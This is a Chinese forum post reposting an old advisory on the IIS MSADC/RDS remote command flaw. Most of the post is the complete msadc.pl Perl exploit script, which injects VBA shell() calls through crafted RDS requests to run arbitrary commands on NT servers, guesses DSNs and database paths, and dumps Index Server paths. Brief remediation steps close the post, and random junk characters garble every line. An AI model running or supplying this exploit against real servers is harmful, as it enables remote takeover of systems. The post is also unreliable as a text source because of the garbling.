社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 168385阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) R+E_#lP_$  
jefNiEE[  
涉及程序: - LiPHHX<  
Microsoft NT server LMFK3Gd[  
>H}jR[H'  
描述: Ty3CBR{6  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 SgpZ;\_  
.6#cDrK  
详细: /z1p/RiX  
如果你没有时间读详细内容的话,就删除: `M?v!]o  
c:\Program Files\Common Files\System\Msadc\msadcs.dll e)HhnN@  
有关的安全问题就没有了。 1t~FW-:  
Y  .  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 dXiE.Si  
hG3m7ht  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 A{z>D`d  
关于利用ODBC远程漏洞的描述,请参看: 3+(yI 4  
_k_>aG23  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm xN`r4  
aGB0-;.t7  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 JFRpsv  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp m']9Q3-  
?aFr8i:)M  
这里不再论述。 BFMS*t`  
5 [ ,+\  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: cX %:  
(@)2PO /  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset q]"2hLq  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! D[89*@v  
ZT) !8  
Cf0|Z  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ;Y'8:ncDn  
6| *(dE2x(  
#!perl 7q%|4Z-~  
# J}Qs"+x  
# MSADC/RDS 'usage' (aka exploit) script s~=KhP~  
# /a[V!<"R  
# by rain.forest.puppy *wC\w  
# 5/B#)gm  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me D:wnO|:  
# beta test and find errors! +`;+RDKY*  
0A#*4ap  
use Socket; use Getopt::Std; & u$(NbK  
getopts("e:vd:h:XR", \%args); U~uwm/h  
6FL?4>MZ  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; _urG_~q  
c ]>DI&$;J  
if (!defined $args{h} && !defined $args{R}) { 6OL41g'  
print qq~ lSH ZV Fd  
Usage: msadc.pl -h <host> { -d <delay> -X -v } XkPv*%Er8  
-h <host> = host you want to scan (ip or domain) XC|*A$x,  
-d <seconds> = delay between calls, default 1 second )v%l0_z{  
-X = dump Index Server path table, if available z,pNb%*O  
-v = verbose -#LjI.  
-e = external dictionary file for step 5 X=v~^8M7%  
5>k>L*5J  
Or a -R will resume a command session wgY6D!Y   
}m6f^fs}  
~; exit;} ?gLR<d_  
[IiwNqZ[~  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; In f9wq\  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 9s! 2 wwh  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} /~40rXH2C  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); vO\:vp4fH  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} t]s94 R q  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } JOBz{;:R{  
r5o@+"!  
if (!defined $args{R}){ $ret = &has_msadc; m_a^RB(  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} -=>sTMWpr  
Hx$.9'Oq\Q  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" L-#e?Y}$J  
. "cmd /c "; (O$}(Tn  
$in=<STDIN>; chomp $in; D=$4/D:;  
$command="cmd /c " . $in ; O!;H}{[dg  
r0>q%eM8  
if (defined $args{R}) {&load; exit;} N83!C=X'  
?-e7e %  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; SOVj Eo4'3  
&try_btcustmr; >Q; g0\I_  
wHx}U M"  
print "\nStep 2: Trying to make our own DSN..."; :^ n*V6.4  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 'X9AG6K1  
lM>.@:  
print "\nStep 3: Trying known DSNs..."; '|Qd0,Z  
&known_dsn; rfYP*QQY  
/vHYM S  
print "\nStep 4: Trying known .mdbs..."; d$pYo)8o({  
&known_mdb; ^f9>l;Lb  
xcst<=  
if (defined $args{e}){ Us'Cs+5XcG  
print "\nStep 5: Trying dictionary of DSN names...";  KyTuF   
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } iHPUmTus--  
Z a! gbt  
print "Sorry Charley...maybe next time?\n"; ~p:?QB>1]  
exit; 6 jmrD  
yq?]V7~  
############################################################################## kd yAl,  
Tr~sieL  
sub sendraw { # ripped and modded from whisker a0PE^U  
sleep($delay); # it's a DoS on the server! At least on mine... ` M:DZNy,  
my ($pstr)=@_; xk& NAB  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <Z},A-\S*  
die("Socket problems\n"); J,??x0GDx,  
if(connect(S,pack "SnA4x8",2,80,$target)){ +p9- .YM  
select(S); $|=1; I_ONbJ9]  
print $pstr; my @in=<S>; d PsLZ"I  
select(STDOUT); close(S); }MP>]8Aq  
return @in; ]Ko^G_Rm  
} else { die("Can't connect...\n"); }} _BbvhWN&+  
n+2%tW  
############################################################################## vDsF-u1  
K4:  $=  
sub make_header { # make the HTTP request 09'oz*v{#  
my $msadc=<<EOT 30s; }  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 D93gH1z  
User-Agent: ACTIVEDATA {Ur7# h5  
Host: $ip gljo;f:  
Content-Length: $clen V@[rf<,  
Connection: Keep-Alive m^<p8KZ  
:5J_5,?;`  
ADCClientVersion:01.06 p}uncIod  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 S`0NPGn;@[  
28a$NP\KW  
--!ADM!ROX!YOUR!WORLD! sf$o(^P9\A  
Content-Type: application/x-varg >TY6O.]  
Content-Length: $reqlen R::zuv  
=>qTNh*'  
EOT A{N\)  
; $msadc=~s/\n/\r\n/g; eNbpwne  
return $msadc;} b?8)7.{F{  
1fH<VgF`  
############################################################################## sef]>q  
"N 3)Qr  
sub make_req { # make the RDS request J? .F\`N)  
my ($switch, $p1, $p2)=@_; L_Q S0_1  
my $req=""; my $t1, $t2, $query, $dsn; (!3;X"l  
Hkege5{  
if ($switch==1){ # this is the btcustmr.mdb query -}P7$|O &  
$query="Select * from Customers where City=" . make_shell(); ]W/>Ldv  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 9gy(IRGq/  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} zyFUl%  
L0L2Ns  
elsif ($switch==2){ # this is general make table query \9/RAY_G  
$query="create table AZZ (B int, C varchar(10))"; a7#?h%wf  
$dsn="$p1";} 1'JD=  
Od##U6e`  
elsif ($switch==3){ # this is general exploit table query %Ds+GM-  
$query="select * from AZZ where C=" . make_shell(); Ab2Q \+,  
$dsn="$p1";} 2 o4^  
"u492^  
elsif ($switch==4){ # attempt to hork file info from index server d$G}iJ8$mp  
$query="select path from scope()"; 1y(UgEg   
$dsn="Provider=MSIDXS;";} 8PBvV[  
Z+4D.bA  
elsif ($switch==5){ # bad query ?T!)X)A#  
$query="select"; yz8jU*H  
$dsn="$p1";} $,ikv?"L  
Z.1> kZ  
$t1= make_unicode($query); 6@V~0DG  
$t2= make_unicode($dsn); G69GoT  
$req = "\x02\x00\x03\x00"; XogVpkA  
$req.= "\x08\x00" . pack ("S1", length($t1)); MjD75hIZ  
$req.= "\x00\x00" . $t1 ; P6\6?am  
$req.= "\x08\x00" . pack ("S1", length($t2)); 3TS_-l  
$req.= "\x00\x00" . $t2 ; XKS8K4"  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; yCP4r6X0  
return $req;} /TV= $gB`  
Dvc&RG  
############################################################################## Dd,2;#_  
5)UQWnd5  
sub make_shell { # this makes the shell() statement ;wHCj$q  
return "'|shell(\"$command\")|'";} l1'6cLT`  
e#S0Fk)z  
############################################################################## Z"y=sDO{  
bm# (?  
sub make_unicode { # quick little function to convert to unicode YlF%UPp  
my ($in)=@_; my $out; H,y4`p 0  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } tU :EN;H  
return $out;} \+ 0k+B4a  
=5x&8i  
############################################################################## &%mXYj3y5  
!RH.|}  
sub rdo_success { # checks for RDO return success (this is kludge) /.1. MssQM  
my (@in) = @_; my $base=content_start(@in); !h`kX[:  
if($in[$base]=~/multipart\/mixed/){ KzV 2MO-$  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} *F`A S>  
return 0;} "@/62b  
-LW[7s$  
############################################################################## g[[;w*;z  
Ii &7rdoxe  
sub make_dsn { # this makes a DSN for us t:)ERT")  
my @drives=("c","d","e","f"); @t*t+Vqw  
print "\nMaking DSN: "; j Ux z  
foreach $drive (@drives) { +>\id~c(  
print "$drive: "; }H"kU2l  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . eE@&ze>X  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" }4//@J?:  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); fo0+dzazY  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; AUe# RP  
return 0 if $2 eq "404"; # not found/doesn't exist ~1L:_Sg*  
if($2 eq "200") { E3aDDFDH  
foreach $line (@results) { 7.g [SBUOG  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} t2BL( yB  
} return 0;} $?P22"/p  
jE\Sm2G9  
############################################################################## om h{0jA0  
`bjizS'^  
sub verify_exists { 0#cy=*E  
my ($page)=@_; S* *oA 6  
my @results=sendraw("GET $page HTTP/1.0\n\n"); / JkC+7H4  
return $results[0];} >>{FzR  
%9oYw9 H!  
############################################################################## Np+&t}  
RQB 4s^t  
sub try_btcustmr { 36.N>G,  
my @drives=("c","d","e","f"); Pr ]Ka  
my @dirs=("winnt","winnt35","winnt351","win","windows"); TuDE@ gq(  
D BE4&  
foreach $dir (@dirs) { s?R2B)a  
print "$dir -> "; # fun status so you can see progress u8GMUN  
foreach $drive (@drives) { kOo~%kcQ'  
print "$drive: "; # ditto `;l.MZL!  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; @&|l^ 1  
$reqlenlen=length( "$reqlen" ); *+)AqKP\Kv  
$clen= 206 + $reqlenlen + $reqlen; XolZonJr  
d;mx<i=/  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); A][fLlpr  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ?';OD3-  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} )Gw~XtB2  
?L&|Uw+  
############################################################################## $-}e; VZb  
z7GTaX$d  
sub odbc_error { \;u@"  
my (@in)=@_; my $base; qt%D'  
my $base = content_start(@in); v[e:qi&fG  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this )B,|@ynu  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 1K,1X(0rL8  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 91>fqe  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; U-/{0zB  
return $in[$base+4].$in[$base+5].$in[$base+6];} K"j_>63)  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; VA *y|Q6  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . kVK/9dy-F  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} OCZaQ33  
Suk  
############################################################################## Sf5X3,Uw  
&F STpBu  
sub verbose { ;2'q_Btk4  
my ($in)=@_; D(-yjY8aG  
return if !$verbose; 4SPy28<f  
print STDOUT "\n$in\n";} h.O$]:N  
s*U1  
############################################################################## $un?0S  
&nBa=Enf  
sub save { J]f3CU,<N  
my ($p1, $p2, $p3, $p4)=@_; e@:sR  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; iu&wO<)+?  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; AKMm&(fh%  
close OUT;} ^P151*=D  
oF(Lji?m  
############################################################################## ;qHOOT  
y E[#ze  
sub load { r'QnX;99T  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ok|qyN+  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); V,rq0xW  
@p=<IN>; close(IN); 3gd&i  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); OO[F E3F  
$target= inet_aton($ip) || die("inet_aton problems"); -'~ LjA(  
print "Resuming to $ip ..."; b#7{{@H  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; S26MDLk`R3  
if($p[1]==1) { ys 5&PZg*  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Vz6Qxd{m3  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; aaD;jxT&M|  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Reatd h  
if (rdo_success(@results)){print "Success!\n";} S[WG$  
else { print "failed\n"; verbose(odbc_error(@results));}} &gzCteS  
elsif ($p[1]==3){ e[hcJz!D  
if(run_query("$p[3]")){  Yn8=  
print "Success!\n";} else { print "failed\n"; }} C z\Ppq  
elsif ($p[1]==4){ ~ vqa7~}m  
if(run_query($drvst . "$p[3]")){ R<OI1,..r  
print "Success!\n"; } else { print "failed\n"; }} sc,Xw:YO  
exit;} o=0]el^A  
W`c'=c  
############################################################################## M Y|w  
|4'Y/re  
sub create_table { y+7w,m2  
my ($in)=@_; BcI |:qv|  
$reqlen=length( make_req(2,$in,"") ) - 28; zOQ>d|p?X  
$reqlenlen=length( "$reqlen" ); B^g ?=|{  
$clen= 206 + $reqlenlen + $reqlen; q$=#A7H>3)  
my @results=sendraw(make_header() . make_req(2,$in,"")); (<^yqH?  
return 1 if rdo_success(@results); E*+{t~  
my $temp= odbc_error(@results); verbose($temp); XQw>EZdj_N  
return 1 if $temp=~/Table 'AZZ' already exists/; L|p Z$HB  
return 0;} y*X_T,K 8  
VkZ7#  
############################################################################## nqLA}u4IM  
qvPtyc^fN  
sub known_dsn { M![J2=  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go B ~OZ2-~  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 720DV +o  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", R?]02Q  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); '3uVkp 6tF  
8 @tV9+u  
foreach $dSn (@dsns) { kh`"WN Nt  
print "."; 6i}iAP|0  
next if (!is_access("DSN=$dSn")); s_mS^`P7  
if(create_table("DSN=$dSn")){ yj\Nkh  
print "$dSn successful\n"; P-9<YN  
if(run_query("DSN=$dSn")){ %$b:X5$Z  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { %f]:I  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 4ecP*g  
<)3u6Vky9  
############################################################################## 0=?<y'=  
@Z12CrJ  
sub is_access {  P Y  
my ($in)=@_; #"B\UN  
$reqlen=length( make_req(5,$in,"") ) - 28; ^jx7@LgS=  
$reqlenlen=length( "$reqlen" ); P?k0zwOlBl  
$clen= 206 + $reqlenlen + $reqlen; ]UmFhBR-  
my @results=sendraw(make_header() . make_req(5,$in,"")); pej|!oX  
my $temp= odbc_error(@results); 4T ~}  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 62zYRs\Y)X  
return 0;} 9g mW&{6q  
!_Wi!Vr_  
##############################################################################  a24"yT  
o7$'cn  
sub run_query { !4X f~P  
my ($in)=@_; I"ok&^t^}  
$reqlen=length( make_req(3,$in,"") ) - 28; f.9SB  
$reqlenlen=length( "$reqlen" ); R#I0|;q4|p  
$clen= 206 + $reqlenlen + $reqlen; 1]p ZrBh"E  
my @results=sendraw(make_header() . make_req(3,$in,"")); :>C2gS@  
return 1 if rdo_success(@results); P(f0R8BE  
my $temp= odbc_error(@results); verbose($temp); NGbG4-w-  
return 0;} GaK-t*Q  
e7sp =I ,  
############################################################################## <P=twT;P  
%4gg@Z9  
sub known_mdb { ;'cN<x)% |  
my @drives=("c","d","e","f","g"); VcXq?f>\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ()6wvu}  
my $dir, $drive, $mdb; >7QvK3S4%  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; V)[@98T_4?  
6 |PrX L&  
# this is sparse, because I don't know of many eLfk\kk]Pc  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 7Mg=b%IYs  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ci?qT,&  
"\\system32\\certmdb.mdb", 6V7B;tB  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% %yv<y+yP~  
]d! UJ&<?  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", JPoN&BTCj  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ~=uWD&5B4  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", T9Nb`sbV]  
"\\cfusion\\cfapps\\security\\realm_.mdb", K/|Z$4S  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", A\HxDIU  
"\\cfusion\\database\\cfexamples.mdb", `ojoOB^L  
"\\cfusion\\database\\cfsnippets.mdb", mj W8 Q\D  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", aWR}R>E  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", (KDD e}f  
"\\cfusion\\brighttiger\\database\\cleam.mdb", H}hiT/+$  
"\\cfusion\\database\\smpolicy.mdb", `)T13Xv  
"\\cfusion\\database\cypress.mdb", ;wz^gdh;  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Utnr5^].2O  
"\\website\\cgi-win\\dbsample.mdb", WE:24b6  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", d?A 0MKnl  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" YoBDvV":@  
); #these are just *%%g{ 3$  
foreach $drive (@drives) { VHIOwzC  
foreach $dir (@dirs){ 0Ziw_S\d&s  
foreach $mdb (@sysmdbs) { P\1L7%*lU  
print "."; nU7>uU  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ v>Q #B  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; \1D<!k\S  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ RO 4Z?tz  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; e4? >-  
} else { print "Something's borked. Use verbose next time\n"; }}}}} RBs-_o+%  
Vf] "L .G  
foreach $drive (@drives) { A#EDk U,  
foreach $mdb (@mdbs) { t/VD31  
print "."; onz?_SAW  
if(create_table($drv . $drive . $dir . $mdb)){ sn obT Q  
print "\n" . $drive . $dir . $mdb . " successful\n"; `4=^cyt+  
if(run_query($drv . $drive . $dir . $mdb)){ 1_PoqD!q  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; &,{fw@#)_  
} else { print "Something's borked. Use verbose next time\n"; }}}} M l Jo`d  
} _`&m\Qe>  
1v.c 6~  
############################################################################## 1Q<^8N)pf  
)u[emv$  
sub hork_idx { A kC1z73<  
print "\nAttempting to dump Index Server tables...\n"; $4h5rC g0  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ywGd>@  
$reqlen=length( make_req(4,"","") ) - 28; J}v}~Cv  
$reqlenlen=length( "$reqlen" ); \LR~r%(rM  
$clen= 206 + $reqlenlen + $reqlen; &"&Z #llb  
my @results=sendraw2(make_header() . make_req(4,"","")); QdF5Cwf4  
if (rdo_success(@results)){ >=:&D)m"  
my $max=@results; my $c; my %d; ILEz;D{]   
for($c=19; $c<$max; $c++){ VVac:  
$results[$c]=~s/\x00//g; d3 ZdB4L  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; v%+:/m1  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; RP[{4 Q8  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ,(qRc(Ho  
$d{"$1$2"}="";} IzikDc10  
foreach $c (keys %d){ print "$c\n"; } )dbB =OZ  
} else {print "Index server doesn't seem to be installed.\n"; }} ;oW6 NJ  
mF*2#]%dx  
############################################################################## 0D\#Pq v  
}X)&zenz  
sub dsn_dict { ,':fu  
open(IN, "<$args{e}") || die("Can't open external dictionary\n");  P5a4ze  
while(<IN>){ Mo?~_|}  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; V58wU:li  
next if (!is_access("DSN=$dSn")); JTO~9>$ B  
if(create_table("DSN=$dSn")){ =,spvy'"*C  
print "$dSn successful\n"; nAW:utTB  
if(run_query("DSN=$dSn")){ %b&". mN  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { p>RNPrT  
print "Something's borked. Use verbose next time\n";}}} Ta ?_5  
print "\n"; close(IN);} }vxw*8d?  
~zCEpU|@N  
############################################################################## -JMdE_h  
{.?ZHy\Rk  
sub sendraw2 { # ripped and modded from whisker *H"B _3<n  
sleep($delay); # it's a DoS on the server! At least on mine... -]/I73!b  
my ($pstr)=@_; #lmB AL~3  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || t<#mP@Mz=N  
die("Socket problems\n"); ^Cu\VV  
if(connect(S,pack "SnA4x8",2,80,$target)){ Aw$x;3y  
print "Connected. Getting data"; zi|+HM  
open(OUT,">raw.out"); my @in; F U_jGwD  
select(S); $|=1; print $pstr; `q}I"iS  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} zMbN;tu  
close(OUT); select(STDOUT); close(S); return @in; dgR g>)V  
} else { die("Can't connect...\n"); }} {MtpkUN  
1C}NQ!.  
############################################################################## .k,1f*%  
RDW8]=uM  
sub content_start { # this will take in the server headers ciBP7>'::  
my (@in)=@_; my $c; h`KFL/fT  
for ($c=1;$c<500;$c++) { hn5h\M?  
if($in[$c] =~/^\x0d\x0a/){ Zn&, t &z  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Sg&UagBj  
else { return $c+1; }}} ^o^H3m  
return -1;} # it should never get here actually 6t>.[Y"v  
HW3 }uP\c  
############################################################################## )j9SGLo  
hL/)|N~  
sub funky { K&POyOvT  
my (@in)=@_; my $error=odbc_error(@in); e- :yb^  
if($error=~/ADO could not find the specified provider/){ 7S '% E  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; W5EDVP ur  
exit;} aoMqSwF=  
if($error=~/A Handler is required/){ /Y9>8XSc  
print "\nServer has custom handler filters (they most likely are patched)\n"; S^-DK~Xt4  
exit;} 0Vlk;fIh  
if($error=~/specified Handler has denied Access/){ Lm*e5JnV  
print "\nServer has custom handler filters (they most likely are patched)\n"; F"&~*m^+  
exit;}} [B+yyBtx  
JJP08 oP  
############################################################################## S>h;K`  
15%w 8u  
sub has_msadc { '8Q]C*Z  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); +c(zo4nZ  
my $base=content_start(@results); ^T*?>%`  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ![`Ay4AZ@a  
return 0;} vI:;A/&  
jr)1(**  
######################## (!ZM{Js%  
Q\^O64geD  
S|SV$_ (  
解决方案: pXrFljoYl[  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll F<n3  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 {_7 i8c<s=  
GR&z,  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八